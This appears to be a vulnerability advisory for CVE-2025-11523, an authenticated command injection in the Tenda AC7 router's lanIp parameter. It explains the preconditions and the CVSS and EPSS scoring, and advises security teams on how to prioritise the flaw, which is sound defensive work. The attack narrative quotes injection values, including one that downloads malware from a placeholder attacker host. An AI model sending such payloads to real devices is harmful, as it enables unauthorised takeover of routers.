Tenda AC7 CVE-2025-11523

Valid authentication credentials for the router's web management interface are required (PR:L in CVSS vector indicates low-privilege authenticated user). The /goform/AdvSetLanip endpoint must be accessible over the network (AV:N) - typically the case in default router configurations where the web UI is exposed on LAN or, dangerously, on WAN if remote management is enabled. The vulnerability is triggered by supplying a lanIp parameter value containing unescaped shell metacharacters (e.g., semicolons, backticks, command substitution syntax). No special device configuration is required beyond running firmware version 15.03.06.44. Limitations on real-world exploitation: the attacker must first obtain valid router credentials, which typically requires either local network access, credential compromise, or weak/default credentials; the exploit is limited to command execution at the privilege level of the web service (often root on embedded routers, but this is not confirmed in the provided data).

The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) indicates network-accessible vulnerability with low attack complexity and low privileges required - an authenticated user can trigger it without user interaction. However, the low CVSS base score of 2.1 reflects limited impact: confidentiality, integrity, and availability are all set to 'low'. The EPSS score of 0.39% (60th percentile) is notably low, suggesting minimal real-world exploitation despite public POC availability; this discrepancy may reflect that exploitation requires router admin credentials, limiting the attacker pool significantly. The impact scope (S:X) is unclear from provided data. Real-world risk depends critically on whether default or weak credentials are prevalent in deployed AC7 units and whether attackers can obtain initial authentication access. For security teams: this is a network-accessible RCE with authentication requirement - prioritize it lower than unauthenticated network-accessible vulns, but do NOT dismiss it entirely, especially in environments where router admin credentials may be shared or default. If network telemetry shows failed authentication attempts against AC7 devices, this becomes a meaningful chaining target.

A remote attacker with access to the Tenda AC7 web management interface obtains or already possesses valid admin credentials (e.g., default credentials or via phishing). The attacker sends a crafted HTTP POST request to /goform/AdvSetLanip with a malicious lanIp parameter containing shell metacharacters (e.g., '; id;' or '$(wget http://attacker/malware.sh)'). The parameter is passed unsanitized to a system command handler, resulting in command execution. Publicly available POC code on GitHub (https://github.com/noahze01/IoT-vulnerable/blob/main/Tenda/AC7/AdvSetLanip.md) demonstrates this attack flow.